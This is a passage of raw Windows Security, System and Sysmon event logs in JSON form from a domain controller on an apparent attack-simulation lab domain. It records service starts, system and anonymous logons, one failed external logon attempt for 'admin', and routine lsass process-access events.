11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76790,"ProcessID":852,"ThreadID":1288,"Channel":"System","Message":"The AWSLiteAgent service entered the running state.","param1":"AWSLiteAgent","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221471,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221472,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221473,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tNo\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x2174E\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\tNTLM V1\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-7","TargetUserName":"ANONYMOUS LOGON","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x2174e","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"NTLM V1","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1843","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76791,"ProcessID":852,"ThreadID":944,"Channel":"System","Message":"The PcaSvc service entered the running state.","param1":"PcaSvc","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76792,"ProcessID":852,"ThreadID":944,"Channel":"System","Message":"The IsmServ service entered the running state.","param1":"IsmServ","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76793,"ProcessID":852,"ThreadID":2688,"Channel":"System","Message":"The Dfs service entered the running state.","param1":"Dfs","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76794,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The EFS service entered the running state.","param1":"EFS","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76795,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The WpnService service entered the running state.","param1":"WpnService","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76796,"ProcessID":852,"ThreadID":2596,"Channel":"System","Message":"The DFSR service entered the running state.","param1":"DFSR","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76797,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The WinRM service entered the running state.","param1":"WinRM","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76798,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The StateRepository service entered the running state.","param1":"StateRepository","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76799,"ProcessID":852,"ThreadID":916,"Channel":"System","Message":"The sysmon64 service entered the running state.","param1":"sysmon64","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76800,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The tiledatamodelsvc service entered the running state.","param1":"tiledatamodelsvc","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76801,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The ADWS service entered the running state.","param1":"ADWS","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221474,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221475,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76802,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The vds service entered the running state.","param1":"vds","param2":"running","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221476,"ProcessID":860,"ThreadID":1100,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58606\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58606","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":749,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.016\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010DC460000}\r\nTargetProcessId: 716\r\nTargetImage: C:\\Windows\\system32\\wininit.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25dfa|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.016","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010DC460000}","TargetProcessId":"716","TargetImage":"C:\\Windows\\system32\\wininit.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25dfa|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":750,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 